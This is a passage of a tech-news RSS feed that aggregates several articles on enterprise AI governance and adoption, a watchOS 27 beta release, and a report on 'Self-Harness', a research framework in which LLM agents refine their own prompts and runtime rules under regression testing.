there."</p><h2>The added complexity of hybrid and multicloud AI</h2><p>AI deployments in hybrid multicloud environments have an even greater data delivery challenge because of the heterogeneity involved. In other words, data traversing these environments must contend with inconsistent policies, security controls, identity systems, governance requirements, fragmented visibility, and distinct failure boundaries.</p><p>Programmable traffic management and observability address this complexity together. Observability provides a unified view of application, network, and infrastructure health across otherwise disconnected environments. Programmable traffic management uses those insights to intelligently route, balance, and fail over traffic in real time. Together, they create a closed-loop feedback system that enforces consistent policies, improves resilience across failure domains, and ensures reliable, high-performance <a href="https://www.f5.com/solutions/use-cases/ai-data-delivery">AI data delivery</a> regardless of where applications, data, or users reside.</p><h2>What separates production AI from perpetual pilots</h2><p>The organizations that move beyond perpetual pilots share a specific engineering discipline, Smit says. </p><p>"They're the ones that reach for production design with failure as the normal state, not the exception," he explains. "They will assume latency, congestion, and partial outages will happen. And they build a data path observable and failure-aware enough to absorb them, with explicit mitigation for every degraded condition rather than a hope that the network will hold."</p><p>Organizations stuck in perpetual pilots are still optimizing for the perfect lab result and discovering the real-world gap only when a workload goes live. The issue is not model quality or GPU count, but whether the data delivery layer was engineered with the same rigor as the compute.</p><p>"Teams need to understand that a real-world network behaves very differently from an optimized lab network," Pindell says. "They need a mitigation plan for the failure states and performance bottlenecks they will hit in production."</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[The hidden cost of becoming AI-ready?]]></title>
<description><![CDATA[Governance debt



Modernization of legacy systems is not a new phenomenon. I have personally been involved in legacy system migration to a more efficient & modern software. Driven by the goal of achieving efficiencies, it may take months for the initial results to show up while the migration con...]]></description>
<link>https://tsecurity.de/de/3618017/it-nachrichten/the-hidden-cost-of-becoming-ai-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3618017/it-nachrichten/the-hidden-cost-of-becoming-ai-ready/</guid>
<pubDate>Tue, 23 Jun 2026 13:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">Governance debt</h2>



<p>Modernization of legacy systems is not a new phenomenon. I have personally been involved in legacy system migration to a more efficient &amp; modern software. Driven by the goal of achieving efficiencies, it may take months for the initial results to show up while the migration continues in other phases. The emergence of AI has triggered an enterprise-wide race to drive efficiency across nearly every business process.</p>



<p>Today’s CIOs are under pressure to see measurable returns from AI investments and as a result, chatbots, agents and GenAI tools are being deployed at an unprecedented pace. The primary metric used to evaluate success is productivity, with AI delivering massive gains through faster coding, documentation, content generation and prototyping. However, these benefits often obscure a less visible reality: AI-generated outputs need code verification, compliance reviews and ongoing oversight.</p>



<p>I have not personally seen an organization where the “AI First” mandate is accompanied by a “governance-first” strategy. Yet, as executives push for faster delivery and measurable gains, risk assessments are often viewed as obstacles rather than necessities. This creates an interesting organizational paradox: the very technology adopted to accelerate work simultaneously introduces new requirements for oversight, accountability and trust. The phenomenon becomes even more significant as it gets embedded into every facet of organization, from software development to business reporting as well as customer support.</p>



<p>Having a manual human in the loop review for every agent output will not scale in the long run. But if not governed, the results are much more devastating with undocumented AI behavior and auditability gaps. Another factor necessitating governance is the AI inconsistency. Most leaders assume that AI behaves like traditional software with an input and an output. But with most AI models, the behavior differs even with the same prompt, model and data as different agents interpret context differently. Inconsistent AI outputs make enterprise quality standards harder to scale.</p>



<p>According to a study “<a href="https://assets.kpmg.com/content/dam/kpmgsites/xx/pdf/2026/04/global-ai-pulse.pdf.coredownload.inline.pdf" rel="nofollow">Global AI Pulse” by KPMG in 2026’</a>, 54% organizations remain in the early stages of the AI journey, while 75% executives expressed concern about AI-related risk and security, which begs a vital question – How do leaders enforce AI adoption while keeping the safeguards in place?</p>



<h2 class="wp-block-heading">How should AI be reviewed?</h2>



<p>As organizations embrace AI, the question of governance involves thinking at the grassroots level. In my fifteen years of overseeing complex architectures, having a human in the loop for daily pipelines generating output defeats the premise of AI adoption. Why is this operationally challenging? Most AI agents are generating thousands of answers to prompts and writing multiple lines of code. Additionally, AI agents are working at several stages of cleansing data, algorithm design and model configuration. The volume of generated AI artifacts will quickly exceed human review capabilities. One of the ways of countering this dilemma is to have additional oversight where human judgment delivers the most value in the initial phases of adoption. The AI leaders should be asking teams to validate for high-risk decisions, regulatory requirements, customer facing interactions. The objective can be to define a set of AI red flags for every team to be used as a governance framework, helping to identify the most common risks and maintain standards across the organization. This also leads to an important question of AI usage metric: What should leaders be using as a metric for measuring AI success while governance safeguards are being put in place?</p>



<h2 class="wp-block-heading">The token trap</h2>



<p>Enterprises have traditionally had to evolve their metrics of measuring digital transformation. Since productivity is the byproduct of AI, there is a temptation to use AI activity as a proxy for the value it generates. In many organizations, AI usage is getting measured by prompts, queries submitted, tokens used and interaction with chatbots. “Token maximization” — where employees are asked to track AI token usage, thereby correlating productivity with using more tokens — is driving up the organization’s costs without considering AI validation costs. In one of the articles on Fortune, this stark reality is exposed. According to the article, even the least expensive version of Clause Opus 4.6, which costs $5 for every million tokens and token usage going into billions, one user alone can cost the firm more than $1.4 million in costs. This creates a dangerous incentive structure with employees working towards higher token usage than maximizing the business outcomes.</p>



<p>In complex engineering environments, high activity does not correlate with high productivity. Employees trying to research a proprietary tool can use millions of tokens to get basic information, while seasoned employees trying to add value to the work may end up using a fraction of them. So how can leaders address this? The answer once lies in governance. During the cloud transformation era, organizations established teams responsible for Cloud deployment, migration standards and cost optimization. AI adoption requires a similar operating model for measuring AI activity as well as outcomes.</p>



<h2 class="wp-block-heading">Measuring adoption to outcome</h2>



<p>For a CIO, measuring AI impact is as critical as the adoption of AI. To get measurable values out of AI tools, the urge to deploy and measure usage activity should be replaced with a tactical, long-term approach to measure gains. AI adoption should be evaluated based on its impact on workflows. Leaders should focus on measurable improvements in the day-to-day tasks themselves. Organizations can track the reduction in deployment time for processes with or without the use of AI, along with the costs incurred on tokens or queries. Another metric to measure is improvements in accuracy by comparing established baselines with AI-generated output. An AI agent that generates faster output but requires more corrections might end up being less productive than a human. Cost efficiencies that compare AI cycle time with token usage are another good indicator of AI adoption measurement.</p>



<p>AI and its impact on organizational learning is another critical metric where the objective should be for employees to build expertise faster, transfer knowledge with better decisions over time. AI adoption that leads to less learning and more dependency (due to reliance on AI) may lead to organizational risk rather than adding value. Finally, as AI adoption matures, organizations should establish prompt governance frameworks. Aggregated team-level reporting that highlights prompt usage will reveal key training opportunities among employees. The idea is to help teams develop stronger AI practices while optimizing token usage and business impact.</p>



<h2 class="wp-block-heading">From adoption to value</h2>



<p>One of the most overlooked aspects of organizations adopting AI is its long-term operating cost. The underlying economics of AI carry the same level of discipline that organizations apply to all the other assets. While AI observability has emerged as an important metric to gauge AI adoption, CIOs must think beyond usage metrics and focus on the long-term return of AI investments. An organization’s AI maturity assessment should be calculated on the basis of spend vs created value, accuracy, skill development and cost effectiveness. Creating a framework to measure the value that AI creates will define the success of AI adoption for the organization and enable it to innovate and scale. Ultimately, the enterprises that succeed with AI will not be the ones to show it the fastest. AI success will not be a function of deployment speed; it will be a function of architectural discipline</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[Successful AI adoption lies in collaboration, not replacement]]></title>
<description><![CDATA[Due to the rapid evolution of generative AI in recent years, many companies are accelerating their adoption of AI. Specifically, the scope of AI’s integration into day-to-day operations is steadily expanding, covering tasks such as minute-taking, summarization, searching, responding to inquiries,...]]></description>
<link>https://tsecurity.de/de/3617665/it-nachrichten/successful-ai-adoption-lies-in-collaboration-not-replacement/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3617665/it-nachrichten/successful-ai-adoption-lies-in-collaboration-not-replacement/</guid>
<pubDate>Tue, 23 Jun 2026 11:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Due to the rapid evolution of generative AI in recent years, many companies are accelerating their adoption of AI. Specifically, the scope of AI’s integration into day-to-day operations is steadily expanding, covering tasks such as minute-taking, summarization, searching, responding to inquiries, and drafting documents — all of which are typically performed by white-collar workers in office settings. At the same time, however, as discussions about AI adoption intensify, questions and concerns are emerging in society, such as “What will happen to human jobs?” and “To what extent should we entrust tasks to AI?”</p>



<p>My own fundamental premise when considering the roles of humans and AI is that AI should not be viewed merely as a tool for improving efficiency. The core issue that a CIO must fundamentally address is not which tasks to introduce AI into, but rather to thoroughly consider what roles humans and AI should each play, how they can complement one another, and how they can enhance each other to create new value that was previously unattainable.<br><br></p>



<p><a href="https://www.kepco.co.jp/english/corporate/list/report/pdf/ar2025_e_18.pdf" rel="nofollow">The Kansai Electric Power Group’s DX Vision 2035 — as part of its DX and AI strategy</a> — has clearly defined its vision as continuing to create new value through AI-driven transformation, with people collaborating with AI. The underlying philosophy is that the use of AI is by no means merely an improvement along the lines of conventional practices; rather, it aims to achieve a fundamental restructuring of business, operations, and work styles.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/dx-vision-2035.png?w=1024" alt="DX Vision 2035" class="wp-image-4187946" width="1024" height="568" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Akio Ueda</p></div>



<p>Thus, collaboration between humans and AI does not mean replacing part of the work with AI but rather identifying the strengths of both humans and AI, and restructuring workflows, decision-making, and value delivery. I believe that only when this is achieved will AI evolve from a mere convenient tool into an indispensable weapon for corporate transformation.</p>



<h2 class="wp-block-heading">What is AI good at, and what should humans take on?</h2>



<p>The starting point for considering human-AI collaboration is to objectively assess the areas in which each excels.</p>



<p>AI excels at rapidly analyzing, processing, searching, and summarizing large volumes of information, presenting multiple options, and making inferences and evaluations based on established patterns. For example, gathering external information, drafting documents, preparing meeting minutes, reviewing contracts, responding to inquiries and creating preliminary risk assessments are areas where AI can demonstrate significant strength.</p>



<p>In fact, at Kansai Electric Power, the use of AI is accelerating across a wide range of use cases, including AI-powered compliance checks, AI critic agents for meeting agenda items, AI risk assessment agents for investment projects, the enhancement of the internal help desk through AI, and the overall reform of corporate sales processes through AI.</p>



<p>On the other hand, I believe that in the age of AI, humans should assume four key roles:</p>



<ol class="wp-block-list">
<li>Formulating questions</li>



<li>Interpreting meaning</li>



<li>Making decisions</li>



<li>Taking responsibility for the results</li>
</ol>



<p>While AI can present a vast number of options, it cannot bear the responsibility for making judgments such as “What do we value?” or “What should this company choose?” This is particularly true in the fields of management, customer service, and organizational operations, where factors such as ethics, trust, emotions, and the balancing of interests come into play. In such contexts, human will is ultimately the guiding principle.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/role-of-humans.png?w=1024" alt="The role of humans in the age of AI" class="wp-image-4187945" width="1024" height="524" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Akio Ueda</p></div>



<p>In other words, humans are the ones who decide what questions to ask and what choices to make, while AI is, at best, a tool that quickly produces processing results. If we proceed with AI adoption while blurring this division of roles, it will lead to confusion on the front lines. Conversely, if this distinction is clearly established, AI implementation will not undermine front-line capabilities but will instead enhance human capabilities.</p>



<h2 class="wp-block-heading">Collaboration is not about division of labor but mutual reinforcement</h2>



<p>An important point to note here is that collaboration between humans and AI cannot be achieved simply by creating a basic division of labor chart. What matters is designing a relationship in which both parties draw out and enhance each other’s strengths.</p>



<p>Kiichiro Toyoda, the founder of Toyota Motor Corporation, once said, “Machines become complete when they become one with humans.” If we replace machines with AI in this quote, it becomes “AI becomes complete when it becomes one with humans.” I believe this expresses a timeless concept that remains fully relevant even in today’s AI- era.</p>



<p>So, what are the different patterns of human-AI collaboration? Below, I’ve created a four-quadrant matrix chart that categorizes how humans work based on Science vs. Art (horizontal axis) and Individual vs. Collaborative (vertical axis).</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/human-ai-collaboration.png?w=1024" alt="What is human-AI collaboration?" class="wp-image-4187947" width="1024" height="564" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Akio Ueda</p></div>



<p>For example:</p>



<ul class="wp-block-list">
<li>[Quadrant D] Science × Individual Work ⇒ Tasks are entrusted to AI and robots.</li>



<li>[Quadrant C] Art × Performed Individually ⇒ AI expands human creativity.</li>



<li>[Area B] Science × Individually ⇒ Humans and AI collaborate</li>



<li>[Domain A] Art × carried out collaboratively by multiple people ⇒ Carried out primarily by humans; AI serves as a sounding board</li>
</ul>



<p>This is the breakdown.</p>



<p>The accuracy of AI’s output changes significantly depending on the quality of the questions humans pose to it. Conversely, when AI anticipates needs by organizing key points and gathering information, humans can devote their time to making more fundamental decisions. At Kansai Electric Power, a proof of concept (PoC) is underway to utilize AI agents for brainstorming management decisions, risk assessment, and stimulating discussion. This initiative is being pursued not with the idea of handing over work entirely to AI, but rather with the concept that AI extends human thinking and enhances the quality and speed of human decision-making.</p>



<p>As this collaboration progresses, the very nature of work will change.AI will take on the tasks of gathering, organizing, and analyzing information — tasks that humans previously spent a great deal of time on — allowing humans to focus on formulating questions and hypotheses, engaging with customers, being creative, building consensus, and making final decisions. As a result, we will see not just a reduction in man-hours, but an improvement in the quality and speed of work.</p>



<p>Thus, I believe we are moving toward a world where people and companies that make full use of AI will succeed, while people and companies that do not use AI will fall behind — not a world where AI takes people’s jobs.</p>



<p>The fundamental question a CIO should ask is not “What should we have AI do?” but rather “What will people be able to focus on once AI is introduced?” I believe that the ultimate value of collaboration lies not in the adoption rate of AI, but in the enhancement and acceleration of human work.</p>



<h2 class="wp-block-heading">Business process redesign is essential for achieving collaboration</h2>



<p>A common trait among organizations where AI adoption is not progressing as expected is that they introduce AI only to specific parts of their operations without changing the underlying processes or methods of human work. While this may seem like the easiest approach at first glance, it actually results in the least effective use of AI’s capabilities and minimizes the value it can deliver. In short, while JTCs (traditional Japanese companies) think in terms of where to introduce AI based on existing business processes, AIFCs (AI-first companies) rebuild business processes on the premise that AI exists.</p>



<p>To truly realize collaboration between humans and AI, it is necessary to break down the business processes themselves. This involves visualizing the elements within the work—such as problem definition, data collection, organization, decision-making, dialogue, resolution, evaluation, and improvement—and designing and transforming each step to determine whether it should be entrusted to AI, handled by humans, or carried out collaboratively by both. This is not merely the introduction of AI, but the design and transformation of the business, its operations, and its organization.</p>



<p>At Kansai Electric Power, there are use cases such as the transformation of the entire sales process using AI, support for knowledge and technical succession in the thermal power division, support for regulatory compliance checks, and the enhancement of the internal help desk. However, we believe the significance lies in the fact that this is not merely the introduction of AI or partial optimization, but rather the integration of AI after taking a bird’s-eye view of the entire workflow, with the ultimate goal of achieving overall optimization.</p>



<p>Thus, the CIO must act not as the person responsible for AI implementation, but as the architect of business transformation.</p>



<h2 class="wp-block-heading">The CIO is a collaborative designer, not an AI implementation manager</h2>



<p>The role expected of a CIO in the AI era is not merely to drive AI adoption. It is to envision a future where humans and AI work together, and to translate that vision into implementable business processes, systems, rules, and organizational culture.</p>



<p>In this sense, it can be said that the CIO is not an AI implementation manager but a collaborative designer. What should humans specialize in, and in which areas should AI be used? What should humans take on more heavily, and what should they let go of? Continuously answering these questions is the CIO’s essential job.</p>



<p>Moreover, this design is not a one-time effort. As long as AI itself continues to evolve rapidly, the nature of collaboration will also continue to evolve. That is precisely why a CIO should not be the one who provides the right answers, but rather the one who continually asks the right questions. The key is not how much to entrust to AI, but rather what humans should hone in an era where AI exists. Continuously asking this question is what determines a company’s competitiveness.</p>



<h2 class="wp-block-heading">Beyond collaboration lies a relationship where humans and AI enhance each other</h2>



<p>When people hear the term human-AI collaboration, many likely think first of efficiency and increased productivity. However, the true goal lies beyond that. It is not merely about using AI to reduce human workloads but about using AI to expand human potential.</p>



<p>Rather than humans merely mastering AI, we must create a relationship where humans and AI mutually enhance one another. Only when such collaboration becomes firmly established will companies truly gain a competitive advantage in the AI era.</p>



<p>The future that CIOs should envision is not an organization where AI takes away people’s jobs. It is an organization where, with AI as a partner, people can engage with customers and society in a more creative, more meaningful way.</p>



<p>What does collaboration between humans and AI entail?</p>



<p>We must not leave this question vague but rather think it through thoroughly and bring it to fruition.</p>



<p>Is this not the crucial mission entrusted to the CIO in the AI era?</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[Apple Releases watchOS 27 Beta 2 for Developers With New Features]]></title>
<description><![CDATA[Apple has released the second beta of watchOS 27 to developers for testing. The update arrives after the first beta and gives developers another chance to test apps, features, performance, and battery life before the public release later this year.



The beta is meant for developers, so regular ...]]></description>
<link>https://tsecurity.de/de/3616549/ios-mac-os/apple-releases-watchos-27-beta-2-for-developers-with-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616549/ios-mac-os/apple-releases-watchos-27-beta-2-for-developers-with-new-features/</guid>
<pubDate>Mon, 22 Jun 2026 22:10:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the second beta of watchOS 27 to developers for testing. The update arrives after the first beta and gives developers another chance to test apps, features, performance, and battery life before the public release later this year.



The beta is meant for developers, so regular users should avoid installing it on their main Apple Watch. Early beta builds can include bugs, battery drain, and app issues.



How to Update to watchOS 27 Beta 2




Open the Watch app on your iPhone.



Go to General.



Tap Software Update.



Select Beta Updates.



Choose the watchOS 27 Developer Beta option.



Go back and download watchOS 27 beta 2 when it appears.




Your Apple Watch needs enough battery, and it should stay on the charger during installation.



All the Changes in watchOS 27




Siri AI support: watchOS 27 brings a smarter Siri experience with Apple Intelligence features on supported models.



New Siri app: Apple has added a dedicated Siri app, so users can continue conversations and access previous Siri interactions from their wrist.



Dynamic app grid: The app grid now highlights suggested and recently used apps, which makes it faster to open important apps.



New tap gesture: Users can tap their fingers together once to open a Smart Stack widget with one hand.



Workout Buddy improvements: The update adds more workout insights based on fitness data, including pace, distance, and workout duration.



Cycle Tracking updates: The Health app adds expanded support for perimenopause and menopause tracking.



Smart Stack suggestions: More useful widgets can appear based on time, location, and context.



Find My changes: Find Devices, Find People, and Find Items are now placed inside one Find My app.



General improvements: Apple says music playback starts faster, step count syncing is improved, and battery optimization suggestions can appear.




Final Words



watchOS 27 beta 2 focuses on testing, bug fixes, and early access to new Apple Watch features before the full release. If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
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<title><![CDATA[Researchers introduce Self-Harness, a framework that lets AI agents rewrite their own rules, boosting performance up to 60%]]></title>
<description><![CDATA[Not every company can or should build their own frontier AI language model. However, the harness controlling the model is something that most enterprises can and should customize for their specific purposes.Of course, this is easier said than done. Agent harnesses are still largely tuned through ...]]></description>
<link>https://tsecurity.de/de/3616014/it-nachrichten/researchers-introduce-self-harness-a-framework-that-lets-ai-agents-rewrite-their-own-rules-boosting-performance-up-to-60/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616014/it-nachrichten/researchers-introduce-self-harness-a-framework-that-lets-ai-agents-rewrite-their-own-rules-boosting-performance-up-to-60/</guid>
<pubDate>Mon, 22 Jun 2026 17:48:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Not every company can or should build their own frontier AI language model. However, the <i>harness</i> controlling the model is something that most enterprises can and <i>should</i> customize for their specific purposes.</p><p>Of course, this is easier said than done. A<!-- -->gent harnesses are still largely tuned through manual, ad hoc debugging — a process that relies heavily on intuition rather than systematic feedback loops, making it difficult to keep pace with rapidly evolving LLMs.</p><p>To solve this challenge, researchers at the Shanghai Artificial Intelligence Laboratory have introduced “<a href="https://arxiv.org/abs/2606.09498">Self-Harness</a>,” a new paradigm in which an LLM-based agent systematically improves its own operating rules. By examining its own execution traces to apply edits, the system trades manual guesswork for empirical evidence.</p><p>Self-improving harnesses can enable development teams to deploy robust custom agents that continually adapt their own execution protocols to overcome model-specific weaknesses.</p><h2><b>The challenge of harness engineering</b></h2><p>An LLM-based agent's performance is not determined solely by its underlying base model, but also by its harness: the surrounding system that provides context and enables the model to interact with the environment. A harness includes components like system prompts, tools, memory, verification rules, runtime policies, orchestration logic, and failure-recovery procedures.</p><p>This layer is crucial because many common agent failures stem from the harness rather than the model. For example, an agent may report success without checking the model’s response (e.g., running the code to see if it passes the tests), or it might retry a failed action repeatedly. The harness is also responsible for preventing <a href="https://venturebeat.com/ai/mits-new-recursive-framework-lets-llms-process-10-million-tokens-without">context rot or overload</a> when the agent’s interaction history grows very large. Examples of popular harnesses include SWE-agent, Claude Code, Codex, and OpenHands.</p><p>Harness engineering remains a significant challenge, but the bottleneck isn't necessarily that humans are too slow or incapable. </p><p>In fact, Hangfan Zhang, lead author of the Self-Harness paper, told VentureBeat that "in many cases, an experienced engineer with deep domain knowledge can still propose better changes than an LLM can today."</p><p>Instead, the true bottleneck of manual engineering is that it relies heavily on ad hoc debugging rather than a verifiable, empirical feedback loop. "The deeper issue is that the current harness-engineering paradigm often lacks a systematic feedback loop," Zhang explained. "Many edits are made based on intuition, a few observed failures, or ad hoc debugging."</p><p>With new models being released at a rapid pace, depending on human intuition to manually tune model-specific harnesses becomes increasingly costly and untenable. While some approaches use stronger models to improve the harnesses of weaker target agents, this dependence on external guidance has its own challenges, as these models may be costly, unavailable for frontier models, or mismatched to the target model's failure modes.</p><h2><b>How Self-Harness works</b></h2><p>The Self-Harness paradigm enables an LLM-based agent to improve its own harness without relying on human engineers or stronger external models.</p><p>This continuous self-evolution is driven by a three-stage iterative loop that turns behavioral evidence into harness updates:</p><ul><li><p><b>Weakness mining:</b> Starting from an initial harness, the agent runs a set of tasks, producing execution traces with verifiable outcomes. The agent categorizes failed traces and tries to detect model-specific failure patterns.</p></li><li><p><b>Harness proposal:</b> Based on these failure patterns, the agent uses a “proposer” role to generate a set of diverse yet minimal harness modifications, each tied to a specific failure mechanism to avoid overly general corrections.</p></li><li><p><b>Proposal validation:</b> The system evaluates candidate modifications through regression tests. An edit is promoted only if it improves performance without causing measurable degradation on held-out tasks. If multiple candidate modifications pass the regression tests, they are merged into the next version of the harness, which then serves as the starting point for the next iteration.</p></li></ul><p>To visualize why an enterprise would need this, imagine an automated issue-fixing agent that reads internal documentation, writes patches, and opens pull requests. If the company updates its documentation style, the agent might suddenly fail, pulling the wrong context or writing bad patches. </p><p>On the surface, the agent simply looks broken. But Self-Harness turns this ambiguous failure into a solvable problem. "The failure traces expose where the agent is misusing the new documentation format; the proposer can generate a targeted harness edit... and the evaluator can decide whether that edit improves the failing cases without regressing other cases," Zhang said.</p><h2><b>Self-Harness in action</b></h2><p>The researchers evaluated Self-Harness on <a href="https://www.tbench.ai/">Terminal-Bench-2.0</a>, a benchmark that tests general tool-based execution, including artifact management, command use, verification behavior, and recovery from execution errors. They applied Self-Harness with MiniMax M2.5, Qwen3.5-35B-A3B, and GLM-5.</p><p>To isolate the impact of the self-evolving harness, they started with a minimal harness built upon the DeepAgent SDK, containing only the benchmark-facing system prompt, and the default filesystem and shell tools. The model backend, tool set, benchmark environment, and evaluator were kept unchanged while only the harness was allowed to vary.</p><p>The quantitative results show that <b>agents improved their performance through automated harness edits. </b>On held-out tasks, <b>performance jumped significantly across the board, ranging from 33 to 60 percent </b>relative improvements for different models.</p><p>Importantly, an explicit acceptance rule promotes only those edits that improve performance without introducing unacceptable regressions. What makes Self-Harness powerful for enterprise applications is that it doesn’t simply make the prompt longer or add generic instructions. Instead, it introduces targeted changes that reflect the recurring problems each model encounters during execution.</p><p>For example, under the baseline harness, MiniMax M2.5 would get stuck endlessly exploring dataset configurations until the execution environment timed out, failing to produce any deliverables. Through Self-Harness, the system identified this specific flaw and wrote a "loop breaker" into its runtime policy, forcing the agent to stop and redirect its approach after 50 tool calls. It also added a rule to create an initial version of required artifacts as early as possible.</p><p>On the other hand, Qwen-3.5 had a habit of hitting a file overwrite error and then blindly retrying the same command repeatedly, eventually deleting necessary files out of confusion before stopping. The self-harness fixed this by introducing a strict command-retry discipline (forbidding exact duplicate commands) and a mechanism that forced the agent to immediately recreate any missing artifacts if a file error occurred.</p><p>GLM-5 struggled to preserve environment changes across different commands, and would often waste time on massive downloads or finalize tasks even when sanity checks were failing. Its self-generated harness introduced rules instructing the agent to persist PATH variables across shell sessions, limit external compute, and repair any failed sanity checks before concluding its run.</p><h2><b>The hidden costs of automated harnesses</b></h2><p>While Self-Harness automates the tedious work of tracking down idiosyncratic model failures, decision-makers must be realistic about the trade-offs. Replacing human engineering with automated trial-and-error requires significant computational overhead.</p><p>"Self-Harness replaces part of the human engineering burden with repeated proposal generation, parallel candidate evaluation, and regression testing," Zhang said. "That can mean more API tokens, more latency during optimization, and more infrastructure for running evaluation tasks."</p><p>Also, this system relies on the accuracy of its evaluation pipeline. During their experiments on Terminal-Bench-2.0, the researchers relied on strict, deterministic verifiers to ensure the agent's edits were actually helpful. Without this rigorous ground truth, an automated system risks promoting bad updates. "[The] evaluation system is not an optional component; it is what lets us trade human intuition for empirical evidence," Zhang said.</p><p>This reliance on strict verifiers also dictates where Self-Harness should be deployed. "The best deployment targets today are environments where failures can be measured and where trial-and-error is relatively safe," Zhang said, pointing to coding, internal workflow automation, and DevOps data pipelines as ideal use cases.</p><p>Conversely, enterprises should avoid fully automating harnesses in high-stakes or subjective fields. "The clearest red flags are domains where evaluation is subjective, delayed, non-deterministic, or costly to get wrong, such as medical decision-making, safety-critical infrastructure, or legal decisions."</p><h2><b>From prompt tweakers to feedback architects</b></h2><p>The introduction of self-improving agents does not mean coding or enterprise workflows will suddenly become human-free. The quality of collaboration between the human engineer and the AI is still paramount and difficult to capture with automated benchmarks. </p><p>Instead, the engineering profession is moving up the abstraction layer. "The role of enterprise engineers will shift from manually patching individual prompts or tool calls toward designing the feedback systems that make agent improvement possible," Zhang predicted. Moving forward, "the engineer becomes less of a prompt tweaker and more of a feedback architect."</p><p>As foundational models grow more capable, they will naturally absorb many capabilities that currently require manual harness engineering. "But once that happens, the harness will not disappear; its scope will move outward to connect the model to richer external environments," Zhang said. "Until that boundary moves beyond what humans can evaluate, humans will remain critical providers of feedback."</p>]]></content:encoded>
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<title><![CDATA[How AI agents are turning enterprise apps into decision systems]]></title>
<description><![CDATA[Last year, I worked with an enterprise leadership team that had made significant investments in its piloting of generative AI in areas such as customer service, IT operations, and productivity workflows. On paper, the organization appeared ahead of the curve. Employees were using copilots. Busine...]]></description>
<link>https://tsecurity.de/de/3615236/it-security-nachrichten/how-ai-agents-are-turning-enterprise-apps-into-decision-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3615236/it-security-nachrichten/how-ai-agents-are-turning-enterprise-apps-into-decision-systems/</guid>
<pubDate>Mon, 22 Jun 2026 13:05:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Last year, I worked with an enterprise leadership team that had made significant investments in its piloting of generative AI in areas such as customer service, IT operations, and productivity workflows. On paper, the organization appeared ahead of the curve. Employees were using copilots. Business units were experimenting with AI assistants. Executives were tracking AI adoption metrics across departments.</p>



<p>But when we looked at operational performance, very little had actually changed.</p>



<p>Approvals remained slow among different teams. Customer escalation was reliant on manual intervention. There was also still time wasted in resolving disparate data sets prior to making a decision. The use of AI in the environment has been optimized, but not its intelligence within the processes and functions of the enterprise itself.</p>



<p>I have seen this pattern in multiple enterprises in the last year, where these organizations are pursuing AI with vigor but cannot move any faster in their business performance.</p>



<p>The question isn’t one of commitment. Most enterprises already have some form of AI initiative.</p>



<p>The problem here is that most organizations continue to use AI technology as a supporting layer and not as an embedded intelligence in their enterprise operations and applications.</p>



<p>That is precisely why there is a much bigger paradigm shift in AI agents than merely automated processes.</p>



<p>They have started to bring change by converting the enterprise systems into something beyond just systems of records to systems of action coordination.</p>



<h2 class="wp-block-heading">Enterprise applications are evolving beyond systems of record</h2>



<p>Enterprise applications have traditionally been transaction systems for decades.</p>



<p>ERP systems have standardized financial processes, procurements, and supply chains. CRM applications have helped organize information about customers and their interactions. HR systems have streamlined employee-related operations.</p>



<p>All these applications provided a robust basis for operations management.</p>



<p>Yet, they required extensive human involvement in interpreting the information, deciding, coordinating, and responding to any changes.</p>



<p>What is changing now is the involvement of AI agents in the processes described above.</p>



<p>AI-enabled enterprise applications are capable not only of reporting and visualizing but also of:</p>



<ul class="wp-block-list">
<li>Detecting operation irregularities</li>



<li>Interpreting the situation in the broader context of different systems</li>



<li>Suggesting next best actions</li>



<li>Coordinating workflows</li>



<li>Learning</li>
</ul>



<p>During an operational analysis conducted during my practice, a procurement team faced significant challenges because of supply disruptions and manual workflow coordination.</p>



<p>People had to spend hours looking through ERP, inventory, logistics, and finance systems to find appropriate sourcing alternatives and make a decision.</p>



<p>This organization introduced an AI application that detected supply risks, proposed sourcing alternatives, and launched relevant approval procedures according to business logic defined beforehand.</p>



<p>It is essential to note that time savings were achieved not just due to automation.</p>



<p>Many organizations still consider the application of AI to be confined to support for productivity. The real potential lies in making enterprise systems capable of intelligent execution.</p>



<h2 class="wp-block-heading">Why many AI initiatives stall before delivering business value</h2>



<p>One consistent lesson that has been learned throughout the years is that AI implementation is not synonymous with operational transformation.</p>



<p>Companies have tended to implement copilot capabilities relatively easily since they involve providing employees with the capability of assisting them with their tasks like creating content or retrieving knowledge.</p>



